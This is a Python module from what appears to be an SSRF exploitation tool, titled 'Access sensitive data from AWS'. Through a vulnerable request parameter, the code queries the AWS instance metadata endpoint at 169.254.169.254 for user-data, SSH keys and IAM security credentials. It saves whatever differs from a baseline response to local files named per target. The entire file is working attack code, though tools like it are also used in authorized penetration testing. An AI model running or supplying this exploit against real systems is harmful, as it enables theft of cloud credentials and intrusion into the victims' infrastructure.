63 lines
2.7 KiB
Python
63 lines
2.7 KiB
Python
from core.utils import *
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import logging
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import os
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name = "aws"
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description = "Access sensitive data from AWS"
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author = "Swissky"
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documentation = [
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"https://hackerone.com/reports/53088",
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"https://hackerone.com/reports/285380",
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"https://blog.christophetd.fr/abusing-aws-metadata-service-using-ssrf-vulnerabilities/"
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]
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class exploit():
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endpoints = set()
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def __init__(self, requester, args):
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logging.info("Module '{}' launched !".format(name))
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self.add_endpoints()
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r = requester.do_request(args.param, "")
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if r != None:
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default = r.text
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# Create directory to store files
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directory = requester.host
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if not os.path.exists(directory):
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os.makedirs(directory)
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for endpoint in self.endpoints:
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payload = wrapper_http(endpoint[1], endpoint[0] , "80")
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r = requester.do_request(args.param, payload)
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diff = diff_text(r.text, default)
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if diff != "":
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# Display diff between default and ssrf request
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logging.info("\033[32mReading file\033[0m : {}".format(payload))
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print(diff)
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# Write diff to a file
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filename = endpoint[1].split('/')[-1]
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if filename == "":
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filename = endpoint[1].split('/')[-2:-1][0]
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logging.info("\033[32mWriting file\033[0m : {} to {}".format(payload, directory + "/" + filename))
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with open(directory + "/" + filename, 'w') as f:
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f.write(diff)
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def add_endpoints(self):
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self.endpoints.add( ("169.254.169.254","latest/user-data") )
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self.endpoints.add( ("169.254.169.254","latest/meta-data/ami-id") )
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self.endpoints.add( ("169.254.169.254","latest/meta-data/reservation-id") )
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self.endpoints.add( ("169.254.169.254","latest/meta-data/hostname") )
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self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/0/openssh-key") )
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self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/1/openssh-key") )
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self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/2/openssh-key") )
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self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/dummy") )
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self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/ecsInstanceRole") )
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self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/") )
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self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/") )
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self.endpoints.add( ("169.254.169.254","latest/user-data/") )
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